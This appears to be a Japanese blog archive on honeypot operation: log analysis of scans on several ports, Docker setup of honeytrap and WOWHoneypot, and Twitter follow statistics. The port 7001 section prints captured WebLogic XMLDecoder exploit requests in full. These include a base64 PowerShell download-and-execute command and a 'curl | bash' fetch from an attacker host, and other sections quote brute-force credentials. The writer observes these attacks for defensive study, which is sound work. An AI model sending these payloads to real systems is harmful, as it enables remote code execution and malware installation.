ハニーポットを観察してみる その1 -honeytrapのログを漁る-
やったこと
honeytrapを2週間程度動かしてみましたので,特定のポートに絞って出てきたログを簡単に調査しました.調べるネタは他の方のブログやベンダーのレポートなどを参考にしています.
- 調査期間:2018/3/3 20時頃 - 2018/3/18 0時頃 ※ずっと稼働させていたわけではなかったのでかなり抜けがあります.
おしながき
6379/TCP
きっかけはTKさんのブログから
6379/tcp宛の通信が一時的に増えたとの事なので自分のところでも調べてみました.
グラフ
3/14日辺りに中国から多くのパケットが来ていました.
データ部分をデコードして可読部を残したものが以下になります(結果は一部のみ).
data | Count |
---|---|
INFO | 558 |
30 | |
*1$4info | 5 |
*1$4INFO | 3 |
*1$7COMMAND | 2 |
*3$6config$3get$3dir | 1 |
*4$6config$3set$10dbfilename$9backup.db | 1 |
...
一番多いのがINFO
という文字列でした.調べてみるとポート6379はRedisで使用されており,更にinfo
はredis-serverでバージョン情報などを調べるコマンドであることがわかりました.
更に調べていくとこのようなPoCを見つけました.
sock = self._createSocket() sock.send("INFO\r\n".encode(encoding='utf-8')) result = sock.recv(1024) if "redis_version" in result: print("redis-server is vulnerable!") else: print("redis-server is not vulnerable!")
INFOコマンドを送り,返ってきた結果にredis_version
が含まれているか否かで脆弱なredis-serverであるかを判定しています.INFOの部分を変えるといろんなコマンドが送れそうです.対応するCVEを探しましたが見つかりませんでした.
同様にconfig get
およびconfig set
で現在の設定の取得と変更ができるそうです.調べていくとこのコマンドを利用して攻撃者の公開鍵などを設定する攻撃が流行っていたそうです.
3333/TCP
きっかけは@policeの記事から
Claymoreを標的としたアクセスが来ていないか調べてみました. ちなみに同記事で取り上げられていた5555/TCPは該当する攻撃は見当たりませんでした.
グラフ
データ部分をデコード
data | Count |
---|---|
SSH-2.0-libssh2_1.7.0 | 109 |
4 | |
/*Cookie: mstshash=Administr | 2 |
{"id":0,"jsonrpc":"2.0","method":"miner_getstat1","psw":""} | 1 |
大部分がsshの探索っぽいパケットですが,Claymoreのスキャンっぽいパケットが1件だけ,3月12日にハンガリーからきていました.
{"id":0,"jsonrpc":"2.0","method":"miner_getstat1","psw":""}
パスワードが空のClaymoreを探索しているようです. Claymoreが稼働していた場合,バージョンなどの情報が返ってくるそうです.
11211/TCP
DoS攻撃を行うときはUDPでアクセスしますがTCPの方にもそれらしきパケットが来ていました.脆弱性修正前はデフォルトでTCP,UDPどちらも開いていたようなので,TCPでのアクセスは調査目的だと考えられます.
グラフ
データ部分をデコード(一部)
data | Count |
---|---|
59 | |
stats | 23 |
0` | 3 |
:/@=/@ | 3 |
DmdT | 3 |
GET / HTTP/1.0 | 3 |
...
statsコマンドはmemcachedのバージョン情報などを返します.Qiitaなどで返ってくる文字列の例を見ることができますが,これだけでも増幅率高そうですね.投げるパケットによっては51000倍の増幅率になるそうです.
UDPパケットも観測していればもっと面白いものも見れたのかなーと思います.その辺りも今後は試してみたいですね.
7001/TCP
きっかけは第三回ハニーポッター技術交流会のネタ
WebLogicの脆弱性を突いた攻撃が自分のところにも来ていないか調べました.
グラフ
データ部はかなり長いので省略
それっぽい攻撃がいくつかあったので順番に見ていきます.
1つ目...10件
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: *.*.*.*:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Connection: CloseContent-Type: text/xml Content-Length: 1090 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd.exe</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABXAEMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMgAuADAAJwApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA1ADkALgAxADIANgAuADAALgAxADgAMwAvAGMAcwBzAC8AaQBtAGEAZwBlAHMALwBEAEwALgBwAGgAcAAnACkAOwA=</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
10件のパケットはbase64の中身が異なっていました.base64をデコードしたものの一例を示します.
$WC=New-Object System.Net.WebClient;$WC.Headers.Add('User-Agent','PowerShell v2.0');IEX $WC.DownloadString('http://*.*.*.*/css/images/DL.php');
攻撃者のサーバにあるDL.phpをダウンロードさせようとしていることが分かります.
2つめ...2件
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: *.*.*.*:7001 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Content-Type: text/xml;charset=UTF-8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 1059 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl -fsSL http://*.*.*.*:5050/mrx1 | bash</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
2つのパケットは同じIPから来ていましたが,内容はLinuxコマンドを用いるかpowershellを用いるかの違いでした.windowsとLinuxの両方を標的にしていることがわかります.こちらはmrx1なるファイルをダウンロードさせようとしていました.
5984/TCP
きっかけはハニーポッター向けのslackで出てきたネタ
トレンドマイクロのブログでも取り上げられています.Apache CouchDBを標的にしたアクセスが来ていないか調べてみました.
グラフ
データ部分をデコード(一部)
data | Count |
---|---|
GET / HTTP/1.1Host: *:*:*:*:5984Accept-Encoding: identity | 2 |
2 | |
GET /_all_dbs HTTP/1.1Host: *:*:*:*Connection: close | 1 |
GET / HTTP/1.1Host: *:*:*:*Connection: close | 1 |
GET / HTTP/1.1Host: *:*:*:*Cache-Control: no-store,no-cachePragma: no-cacheConnection: Close | 1 |
...
残念ながらトレンドマイクロのブログで紹介されているようなパケットはありませんでした.しかしCouchDBを標的にしたアクセスが一件だけあります.
GET /_all_dbs
これでデータベースの一覧を取得するそうです.こちらを試して然るべきレスポンスがあれば実際の攻撃に移る,と言った感じでしょうか.
おまけ:1911/TCP
最後にログを眺めていて気になった1911/TCPのログを紹介します.
グラフ
データ部はこんな感じでした.
fox a 1 -1 fox hello{ fox.version=s:1.0 id=i:1 hostName=s:xpvm-0omdc01xmy hostAddress=s:*.*.*.* app.name=s:Workbench app.version=s:3.7.44 vm.name=s:Java HotSpot(TM) Server VM vm.version=s:20.4-b02 os.name=s:Windows XP os.version=s:5.1 lang=s:en timeZone=s:America/Los_Angeles;-28800000;3600000;02:00:00.000,wall,march,8,on or after,sunday,undefined;02:00:00.000,wall,november,1,on or after,sunday,undefined };;
調べてみると,nmapのgithubページに当たりました. どうやらNiagara AX TridiumにはInformation Disclosureの脆弱性があるらしいです.以下のような感じでnmapコマンドを打つと,Niagara AXが動いているサーバの情報が取れるようです.
nmap -p 1911 –script fox-info.nse $(IPAddr)
でもそれだったらリクエストにhostnameとかの情報が乗っているのはおかしくないですかね...と思い調べているとこのようなスクリプトを見つけました.
上記コードのorig_query
変数で定義される値をデータ部に入れてパケットを送っていますが,このデータ部が今回取得されたパケットのデータ部と一致していました.
もしかすると何か意味があるのかもしれないですが,これ以上のことは調べてみてもわかりませんでした.
まとめ
今回はhoneytrapで取得したパケットを,特定のポートに絞って調べてみました.honeytrapの性質上,大体が調査目的のものでしたが,眺めているだけでも結構面白かったです.またネタが溜まったら書いてみようと思います.
俺、ハニーポッターになります その2 - honeytrapを構築してみた -
はじめに
ハニーポッター向けのslackにて,皆様のハニーポットに来た攻撃を見ているうちに,様々なポートに来た攻撃を見れるhoneytrapなるハニーポットに興味を持ちました.大抵これを使っている人はT-POTを使っているのですが,リソース的にT-POTを使うのが厳しいため,単体で構築してみました.
インストールと起動まで
まずはiptablesを編集してパケットを取得できるようにします.
*filter (省略) -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -A INPUT -p tcp --syn -m state --state NEW -j NFQUEUE COMMIT
追加したのはCOMMITの前の行です.これにより,この行より上で処理されていないTCPパケットをNFQUEUEに送ります.NFQUEUEに送ったパケットをhoneytrapが読み取り,レスポンスを返す,ログを残すなどの処理を行うというイメージです(多分). (ここをudpにするとUDPパケットも同様に取得できると考えられますが未検証です.)
構築はdockerでやります.どう作ろうか悩んだんのですが,結局T-POTで使うイメージを使用するのが手っ取り早いということがわかりました.docker-compose.ymlもgithubページのものとほとんど変わらないです.
version: '2.0' services: honeytrap: container_name: honeytrap restart: always network_mode: "host" cap_add: - NET_ADMIN image: "dtagdevsec/honeytrap:1710" volumes: - ./attack:/opt/honeytrap/var/attacks - ./download:/opt/honeytrap/var/downloads - ./log:/opt/honeytrap/var/log
network_mode: "host"
でホストのインターフェースをそのまま使用するようです.これにより,dockerの中からホストにくるパケットを監視できます. また
cap_add: - NET_ADMIN
でネットワーク関連の権限を与えています.
コンテナを定期的に再作成する
仮にpwnをされても被害を最小限に食い止めるために,毎日0時にコンテナを再作成するように設定しておきます.crontabに以下を記述しました.
docker-compose --file /(docker-compose.ymlのパス)/docker-compose.yml down -v && docker-compose --file /(docker-compose.ymlのパス)/docker-compose.yml up -d
まとめ
今回はhoneytrapを構築してみました.とりあえずしばらくはどんなログが取れるかを見てみたいと思います.
俺、ハニーポッターになります その1 -WOWHoneypotを構築してみた-
やったこと
ハニーポットを構築して出てくるログを観測してみました.
使用するハニーポット
morihi-socさんのWOWHoneypotを使用してみます.
構築
dockerで作ります.
Dockerfile
FROM debian:jessie-slim RUN groupadd -g 1000 wow && \ useradd -g 1000 -d /wow -m -g wow wow RUN apt-get update && \ apt-get install -y git python3 RUN su - wow -c "git clone https://github.com/morihisa/WOWHoneypot.git /wow/wowhoneypot" USER wow WORKDIR /wow/wowhoneypot CMD [ "/usr/bin/python3", "/wow/wowhoneypot/wowhoneypot.py"]
docker-compose.yml
version: "2.0" services: wow: build: . restart: always ports: - "80:8080" volumes: - "./log:/wow/wowhoneypot/log"
80番ポートを開けて起動
docker-compose up -d
観測
とりあえずkibanaを利用してログを見てみます. 日別のグラフです.
24日間で合計15992件のアクセスがありました. ただしその殆どが2月11日〜12日と17日に集中していることがわかります.今回は手始めに大量に出ているログの原因を探ります.
11-12日に観測されたログは以下のようになっていました.ログは一部隠してます.
{ "uri_version": "HTTP/1.1", "status": "401", "timestamp": "2018-02-12T11:59:56+0900", "mrrid": "1032", "id": "2018-02-12T11:59:56+0900-2760", "src_ip": "***.***.***.***", "header": { "Host": "***.***.***.***", "Content-Type": " application/x-www-form-urlencoded", "Authorization": " Basic cm9vdDpwYSQkdzByZDE=" }, "dst_port": "80", "path": "/manager/html", "dst_ip": ""***.***.***.***, "method": "GET", "geoip_country": "HK", "geoip_city": null }
このような/manager/html
へのアクセスが8000件近くありました.Authorization
ヘッダをデコードすると
Basic root:pa$$w0rd1
となっていました.Tomcatの管理マネージャのログインページ(Basic認証)にブルートフォースしているようです.
次に17日のログをみてみます.
{ "status": "200", "uri_version": "HTTP/1.1", "timestamp": "2018-02-17T13:40:00+0900", "mrrid": "1011", "id": "2018-02-17T13:40:00+0900-2245", "src_ip": "***.***.***.***", "header": { "Content-Length": " 119", "Cookie2": " $Version=\"1\"", "Accept-Language": " pt-br", "Host": "***.***.***.***", "Accept": " */*", "User-Agent": " Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv", "Connection": " Close, TE", "Cookie": " wordpress_test_cookie=WP+Cookie+check", "Pragma": " no-cache", "TE": " deflate,gzip;q=0.3", "Content-Type": " application/x-www-form-urlencoded" }, "dst_port": "80", "dst_ip": "***.***.***.***", "path": "/blog//wp-login.php", "post": "log=webmaster&pwd=madison&wp-submit=Login&redirect_to=http%3A%2F%2F***.***.***.***%2F/blog/%2Fwp-admin%2F&testcookie=1\r\n", "method": "POST", "geoip_country": "NL", "geoip_city": "Amsterdam" }
パスは//wp-login.php
,/blog//wp-login.php
,/wordpress//wp-login.php
,/wp//wp-login.php
が約1500件ずつあり,POSTのデータに様々なユーザ名とパスワードを入れてアクセスしていました.
こちらはwordpressの管理マネージャのログインページにブルートフォースをかけているようです.
これらはマッチ&レスポンスのルールに設定されています.ルールのIDはmrrid
フィールドの値です.
今回の場合11-12日に観測されたリクエストのmrridは1032(Tomcat manager),17日に観測されたリクエストのmrridは1011(WordPress login page)となっていました.
mrrid1011のルールを見てみます.ルールはart/mrrules.xml
に記載されています.
<mrr> <meta> <mrrid>1011</mrrid> <enable>True</enable> <note>WordPress login page</note> </meta> <trigger> <uri>/wp-login.php</uri> </trigger> <response> <status>200</status> <header> <name>Set-Cookie</name> <value><![CDATA[wordpress_test_cookie=WP+Cookie+check; path=/]]></value> </header> <body filename="wp-login.html"></body> </response> </mrr>
ざっくりと見た感じ<trigger>
にかかれていたルールにマッチした時に,<response>
に書かれている内容で返すようです.
この場合だとURIに/wp-login.php
が含まれている時に予め用意されていたwp-login.html
を返すようです.
この設定により攻撃者が気持ち良くブルートフォースできるということですね.
まとめ
今回はWOWHoneypotを構築し,ログを簡単に見てみました. 他のWebハニーポットは触ったことないのですが,少なくともWOWHoneypotは起動も簡単で,とても使いやすいハニーポットだと感じました. 今後は他のログの解析なども行っていきたいです.
セキュリティ界隈の方々が普段どんなサイトを見ているかtwitterの情報から調べてみる
やったこと
前回の記事を書いた時にもうひとつやってみたかったことがあったので書きました.
今度はセキュリティ界隈の方々がツイートしているFQDNを集計してみました.
収集期間と対象アカウント
- 期間: 2017年7月1日 - 2018年1月20日頃
- 対象アカウント: 上記記事で出したランキングから,企業アカウントを除いた上位100名のアカウント
結果
対象期間の約200日間で合計33598個のURL付きツイートが呟かれていました.おおよそ1人あたり1〜2個/日ほどのURLが呟かれていることになります.ちなみにURLのツイート数が最も多かったのはpiyokangoさんで2780個でした.
呟かれたFQDNのTOP50を以下に示します.ニュース系は青色にしています.単純な個数であるため,一アカウントが大量に呟いた場合もランキング上位に来ることをご了承ください.
rank | fqdn | name | num |
---|---|---|---|
1 | www.swarmapp.com | Swarm Remember everywhere. | 1173 |
2 | www3.nhk.or.jp | NHKオンライン | 837 |
3 | github.com | The world's leading software development platform · GitHub | 741 |
4 | www.itmedia.co.jp | IT総合情報ポータル「ITmedia」 | 682 |
5 | qiita.com | Qiita - A technical knowledge sharing platform for programmers. | 590 |
6 | togetter.com | まとめよう、あつまろう - Togetter | 582 |
7 | www.nikkei.com | 経済、株価、ビジネス、政治のニュース:日経電子版 | 555 |
8 | www.sankei.com | 産経ニュース | 539 |
9 | itpro.nikkeibp.co.jp | ITpro - エンタープライズICTの総合情報 | 497 |
10 | www.asahi.com | 朝日新聞デジタル:朝日新聞社のニュースサイト | 491 |
11 | www.instagram.com | 474 | |
12 | headlines.yahoo.co.jp | Yahoo!ニュース | 435 |
13 | www.amazon.co.jp | Yahoo!ニュース | 373 |
14 | www.youtube.com | YouTube | 370 |
15 | www.slideshare.net | Share and Discover Knowledge on LinkedIn SlideShare | 353 |
16 | speakerdeck.com | Speaker Deck - Share Presentations without the Mess | 340 |
17 | mainichi.jp | 毎日新聞のニュース・情報サイト | 303 |
18 | japan.zdnet.com | ZDNet Japan--CIOとITマネージャーの課題を解決するオンラインメディア | 278 |
19 | news.yahoo.co.jp | Yahoo!ニュース | 255 |
20 | hyuki0000.sarahah.com | Sarahah - Hiroshi Yuki / 結城浩 | 226 |
21 | www.geekpage.jp | [インターネット技術メモ]:Geekなぺーじ | 216 |
22 | www.yomiuri.co.jp | ニュース速報:読売新聞(YOMIURI ONLINE) | 213 |
23 | news.livedoor.com | ライブドアニュース(livedoor ニュース) | 210 |
24 | internet.watch.impress.co.jp | インターネットと情報セキュリティの最新ニュース - INTERNET Watch | 191 |
24 | pc.watch.impress.co.jp | PC/テクノロジーの総合情報サイト - PC Watch | 191 |
26 | gigazine.net | GIGAZINE(ギガジン) - スマホの写真やイラストをフィルム写真として残せる「プリントス」を使ってみました | 187 |
26 | nlab.itmedia.co.jp | 気になる・人に話したいネットの旬ネタをお届け - ねとらぼ | 187 |
28 | jp.techcrunch.com | TechCrunch Japan - 最新のテクノロジーとスタートアップ・Webに関するニュースを配信するブログメディア | 158 |
28 | ask.fm | Ask and Answer - ASKfm | 158 |
30 | www.facebook.com | Facebook - ログインまたは登録 | 152 |
31 | japan.cnet.com | CNET Japan | 151 |
32 | www.jiji.com | 時事ドットコム:時事通信社が運営するニュースサイト | 149 |
33 | www.nicovideo.jp | niconico | 145 |
34 | utabami.com | うたばみ | 143 |
35 | ch.nicovideo.jp | ニコニコチャンネル | 140 |
36 | d.hatena.ne.jp | はてなダイアリー - 写真・画像・動画付き日記を無料で | 139 |
37 | this.kiji.is | this.kiji.is | 138 |
38 | news.mynavi.jp | マイナビニュース | 137 |
39 | www.publickey1.jp | Publickey - Enterprise IT × Cloud Computing × Web Technology / Blog | 129 |
40 | path.com | Path | 125 |
41 | mm.hyuki.net | 結城浩 | 123 |
42 | note.mu | note ――つくる、つながる、とどける。 | 122 |
42 | ascii.jp | ASCII.jp - トップ | 122 |
44 | www.afpbb.com | 国際ニュース:AFPBB News | 121 |
45 | www.atmarkit.co.jp | ITエキスパートのための問題解決メディア - @IT | 119 |
45 | jp.reuters.com | ロイター 経済、株価、ビジネス、政治ニュース | 119 |
47 | peing.net | 匿名で質問を受け取れる質問箱を作ろう! Peing | 118 |
48 | www.security-next.com | セキュリティ、個人情報の最新ニュース:Security NEXT | 114 |
49 | dev.classmethod.jp | クラスメソッド発のAWS/iOS/Android技術者必読メディア Developers.IO | 111 |
50 | newspicks.com | NewsPicks | 110 |
IT系に特化したニュースサイトが上位に連なるのではないかと予想していたのですが,www3.nhk.or.jp(NHK)やwww.nikkei.com(日経),www.sankei.com(産経), www.asahi.com(朝日)などの普通のニュースサイトが上位に多くありました.この中の「セキュリティ」タグを中心に見ているものと考えられます.
せっかくなので200位くらいまで見て,いくつかピックアップしてみました.分類は適当です.目視で作成したため,ミスがあった場合は申し訳ございません.
- IT/セキュリティ系ニュースサイト
rank | fqdn | name | num |
---|---|---|---|
54 | japanese.engadget.com | Engadget 日本版 : 最新ガジェットと家電、テクノロジーのニュースとレビュー | 103 |
57 | forest.watch.impress.co.jp | Windowsアプリ・フリーソフトのおすすめ情報 - 窓の杜 | 100 |
62 | the01.jp | THE ZERO/ONE | 94 |
108 | www.gizmodo.jp | ギズモード・ジャパン 日本最大級のガジェット&テクノロジーサイト | 43 |
120 | akiba-pc.watch.impress.co.jp | アキバのPCパーツとスマホの総合サイト - AKIBA PC Hotline! | 39 |
148 | www.segunabe.com | せぐなべ – 認証とセキュリティを楽しく、わかりやすく伝える情報サイト | 31 |
159 | k-tai.watch.impress.co.jp | スマホ&携帯電話の最新情報・ニュース - ケータイ Watch | 27 |
167 | av.watch.impress.co.jp | オーディオ・ビジュアル総合情報サイト - AV Watch | 25 |
167 | scan.netsecurity.ne.jp | ScanNetSecurity[国内最大級のサイバーセキュリティ専門ポータルサイト] | 25 |
181 | cloud.watch.impress.co.jp | 法人向けIT・クラウドソリューションの最新ニュース - クラウド Watch | 23 |
185 | srad.jp | スラド -- アレゲなニュースと雑談サイト | 22 |
- セキュリティ関連企業・組織・機関(国内)
rank | fqdn | name | num |
---|---|---|---|
51 | www.ipa.go.jp | IPA 独立行政法人 情報処理推進機構 | 109 |
51 | www.jpcert.or.jp | JPCERT コーディネーションセンター | 109 |
70 | www.mbsd.jp | セキュリティ診断なら三井物産セキュアディレクション株式会社 | 83 |
71 | www.cc.uec.ac.jp | 国立大学法人 電気通信大学 情報基盤センター | 81 |
75 | www.lac.co.jp | セキュリティ対策のラック|情報を守るセキュリティ対策のパイオニア | 68 |
84 | blog.trendmicro.co.jp | トレンドマイクロ セキュリティブログ | 56 |
101 | www.microsoft.com | 日本マイクロソフト - Official Home Page | 48 |
161 | www.kdl.co.jp | Kobe Digital Labo 神戸デジタル・ラボ | 26 |
167 | www.nisc.go.jp | 内閣サイバーセキュリティセンター | 25 |
185 | www.npa.go.jp | 警察庁Webサイト | 22 |
- セキュリティ関連企業・組織・機関(海外)
rank | fqdn | name | num |
---|---|---|---|
82 | blogs.technet.microsoft.com | TechNet Blogs – Get the latest information, insights, announcements, and news from Microsoft experts and IT professionals in the TechNet blogs. | 61 |
98 | www.owasp.org | OWASP | 49 |
130 | blogs.msdn.microsoft.com | MSDN Blogs – Get the latest information, insights, announcements, and news from Microsoft experts and developers in the MSDN blogs. | 36 |
150 | blog.trendmicro.com | Simply Security News, Views and Opinions from Trend Micro, Inc | 30 |
159 | blog.talosintelligence.com | Cisco's Talos Intelligence Group Blog | 27 |
196 | www.fireeye.com | Cyber Security & Malware Protection FireEye FireEye | 21 |
- 海外のニュースサイトとか
rank | fqdn | name | num |
---|---|---|---|
63 | medium.com | Medium – Read, write and share stories that matter | 91 |
65 | www.bleepingcomputer.com | BleepingComputer.com - News, Reviews, and Technical Support | 88 |
78 | www.bloomberg.co.jp | Bloomberg.co.jp - Bloomberg | 64 |
98 | www.bbc.com | BBC - Homepage | 49 |
104 | www.aljazeera.com | Breaking News, World News & Video from Al Jazeera | 45 |
131 | arstechnica.com | Ars Technica | 35 |
136 | www.theregister.co.uk | The Register: Sci/Tech News for the World | 34 |
139 | thehackernews.com | The Hacker News — Online Cyber Security News & Analysis | 32 |
161 | securelist.com | Securelist - Information about Viruses, Hackers and Spam | 26 |
175 | securityaffairs.co | Security Affairs | 24 |
181 | www.phoronix.com | Linux Hardware Reviews, Open-Source Benchmarks & Linux Performance - Phoronix | 23 |
185 | krebsonsecurity.com | Krebs on Security | 22 |
196 | motherboard.vice.com | Motherboard - The future is wonderful, the future is terrifying. | 21 |
196 | blog.malwarebytes.com | Motherboard - The future is wonderful, the future is terrifying. | 21 |
- その他 個人のブログとか
rank | fqdn | name | num |
---|---|---|---|
82 | blog.tokumaru.org | 徳丸浩の日記 | 61 |
150 | r00tapple.hatenablog.com | 黒林檎のお部屋♬ | 30 |
155 | tigerszk.hatenablog.com | とある診断員の備忘録 | 29 |
まとめ
今回はセキュリティ界隈の方々がツイートしているFQDNを集計してみました.ここまで書いて何ですが,ざっと調べてみた所感としては人によってツイートするサイトがかなり違うので,自分がどういったところで情報収集するかを考えるときは,追っかけてる人のツイートを見て,どういったサイトをツイートしているのかを見ていくのが一番良いのではないかと思いました.
セキュリティ界隈の方々って誰をフォローしてるの?のその後
はじめに
思ったより多くの方々に見ていただいたようで,非常に驚います.ブックマークしてくれた方,いいねしてくれた方,ツイートしてくれた方,ありがとうございます!!今回はこの記事への反応を見て書きたくなったことを書きます.
その前に
セキュリティ界隈、誰をフォローしたら良いの?二番煎じで考えてみた。
やまざきkei5さんも解析したようです.こちらは特定のハッシュタグを含むツイートをした人を対象としています.#ssmjpのほかにもCODE BLUEやSECCCONなども対象になっているので,こちらの方が正確です.やまざきkei5さんありがとうございます!!!
#ssmjpを対象とした件について
やまざきkei5さんの記事でも言及していた通り #ssmjpはセキュリティ勉強会ではありません. それでも#ssmjpを選んだ理由は,セキュリティ技術者が多く参加していて,直近の勉強会開催頻度も多く,そして私が参加したことのある勉強会であるからです.
とにかく今回は #ssmjpはITインフラ系勉強会である ということだけでも覚えていただけると嬉しいです.紛らわしい記事を書いて申し訳ございませんでした.
対象の偏り
前回記事は#ssmjpのみを対象としているため,出てくるランキングも偏ったものになります.前回結果の場合だと#ssmjpの関係者や発表者などは順位が高くなる傾向にあると考えられます.
対象の勉強会を変えるだけでもランキングは異なったものになります.例えば,濱せっく勉強会参加者で集計した場合のTop20はこのようになります(97名,1回以上参加,情報取得は2017年1月13日1時頃).#ssmjpでTOP50に入っていないアカウントは太字にしました.
Rank | ID | Name | Count |
---|---|---|---|
1 | ntsuji | 辻 伸弘(nobuhiro tsuji) | 69 |
2 | ockeghem | 徳丸 浩 | 65 |
3 | Sh1n0g1 | Shøta Shinogۜi🗝 | 63 |
3 | piyokango | piyokango | 63 |
5 | ripjyr | まっちゃだいふく | 59 |
6 | takesako | Yoshinori (y0sh1) | 58 |
7 | takahoyo | ほよたか | 57 |
8 | sen_u | Sen UENO | 55 |
9 | hasegawayosuke | Yosuke HASEGAWA | 52 |
10 | r00tapple | 黒林檎 | 50 |
10 | secconctf | SECCON CTF | 50 |
12 | jpcert | JPCERTコーディネーションセンター | 47 |
12 | lac_security | 情報セキュリティのラック | 47 |
14 | yamatosecurity | yamatosecurity | 46 |
15 | bata_24 | bata | 45 |
15 | kitagawa_takuji | 北河拓士 KITAGAWA,Takuji | 45 |
17 | codeblue_jp | CODE BLUE | 44 |
17 | MasafumiNegishi | Masafumi Negishi | 44 |
19 | ctf4b | SECCON Beginners | 43 |
20 | security_camp | セキュリティ・キャンプ | 42 |
20 | tigerszk | とある診断員 | 42 |
20 | ScanNetSecurity | ScanNetSecurity | 42 |
Top20のうち,6つのアカウントが#ssmjpの方ではTop50に入っていないという結果になりました.ざっと見た感じ,SECCONやCTF関連のアカウントの順位が全体的に高くなっていました.このように当然ではありますがどこを対象とするかにより結果は大きく変わってきます.そのため前回の結果はあくまでも参考程度でお願いいたします.
海外アカウント限定での集計
海外アカウントが全く無いというツイートがいくつかありました.確かにそのとおりだけど,ちゃんと追っかけている人もいるはずということで海外アカウント限定で集計してみました.対象は前回記事と同じで,出てきた結果について以下の条件に当てはまるアカウントのみを抽出しました. 1. アカウントの言語設定が日本ではない 2. 居住地が日本ではない 3. アカウント名に日本語が含まれない 4. 自己紹介欄に日本語が含まれない 5. 直近の100ツイート(2017年1月13日3時頃取得)について日本語が含まれているツイートが5%以下
条件としては2と5の条件のみで良いのですが,twitterAPIの関係上1から4の条件も入れました.結果はこんな感じです.
Rank | ID | Name | Count |
---|---|---|---|
1 | ExploitDB | Exploit Database | 59 |
2 | defcon | DEF CON | 55 |
3 | Dropbox | Dropbox | 54 |
4 | BlackHatEvents | Black Hat | 52 |
5 | TheHackersNews | The Hacker News | 46 |
6 | mikko | Mikko Hypponen | 43 |
7 | FireEye | FireEye | 42 |
8 | kalilinux | Kali Linux | 39 |
9 | metasploit | Metasploit Project | 36 |
10 | owasp | owasp | 35 |
11 | github | GitHub | 34 |
12 | awscloud | Amazon Web Services | 33 |
13 | nmap | Nmap Project | 32 |
13 | malware_traffic | Brad | 32 |
13 | USCERT_gov | US-CERT | 32 |
13 | CTFtime | All about CTF | 32 |
17 | Snowden | Edward Snowden | 31 |
17 | sans_isc | SANS ISC | 31 |
17 | Burp_Suite | Burp Suite | 31 |
27 | Docker | Docker | 31 |
21 | msftsecurity | Microsoft Secure | 30 |
21 | echofon | echofon | 30 |
21 | BillGates | Bill Gates | 30 |
21 | 30 | ||
25 | msftsecresponse | Security Response | 29 |
26 | kaspersky | Kaspersky Lab | 28 |
26 | TimMedin | Tim Medin | 28 |
28 | SANSInstitute | SANS Institute | 27 |
28 | threatpost | Threatpost | 27 |
30 | rapid7 | Rapid7 | 26 |
30 | SecurityTube | Pentester Academy | 26 |
32 | sansforensics | SANS DFIR | 24 |
32 | symantec | Symantec | 24 |
32 | offsectraining | Offensive Security | 24 |
32 | CiscoSecurity | Cisco Security | 24 |
32 | teamcymru | TEAM CYMRU | 24 |
37 | SlackHQ | Slack | 23 |
38 | kafeine | Kafeine | 22 |
38 | Mandiant | Mandiant | 22 |
38 | MalwareTechBlog | MalwareTech | 22 |
41 | OpenStack | OpenStack | 21 |
41 | LegitBS_CTF | Legit BS | 21 |
41 | Android | Android | 21 |
41 | 21 | ||
41 | thedarktangent | The Dark Tangent | 21 |
41 | McAfee_Labs | McAfee Labs | 21 |
47 | wikileaks | WikiLeaks | 20 |
47 | PhysicalDrive0 | PhysicalDrive0 | 20 |
47 | packet_storm | packet storm | 20 |
47 | TwitPic | TwitPic | 20 |
47 | virustotal | VirusTotal | 20 |
多くが企業アカウントなどで個人アカウントはほとんど出てきませんでした.ただ界隈の方々がチェックしている海外の企業や団体,ニュースサイトなどがなんとなくわかりました. 海外アカウントでの集計は対象アカウントを変えて行うべきですが,どうすればよいかの案が特にないので誰か詳しい方やってください.
さいごに
重ね重ねになりますが前回は多くの方に記事を見ていただきありがとうございます.ただ前回の記事は自分の文章がとても秀逸だったとかではなく他の要因がとても大きいので,もっと素晴らしい記事をかけるようになりたいです.でもこれからも特に目標は定めず,書きたい時に書きたいことを書いていきたいと思います.
セキュリティ界隈の方々って誰をフォローしてるの?
やったこと
twitterをはじめてみたはいいものの誰をフォローしてよいか分からなかったので,セキュリティ界隈の方々のフォロー一覧を取得して集計することにより,フォローする方を決めてみました.
対象ユーザ
今回は#ssmjpのメンバーから以下の条件に当てはまる322名の方々を対象としました.
結果
322名の方がフォローしていたアカウントTop10はこんな感じです.敬称略です.
Rank | ID | Name | Count |
---|---|---|---|
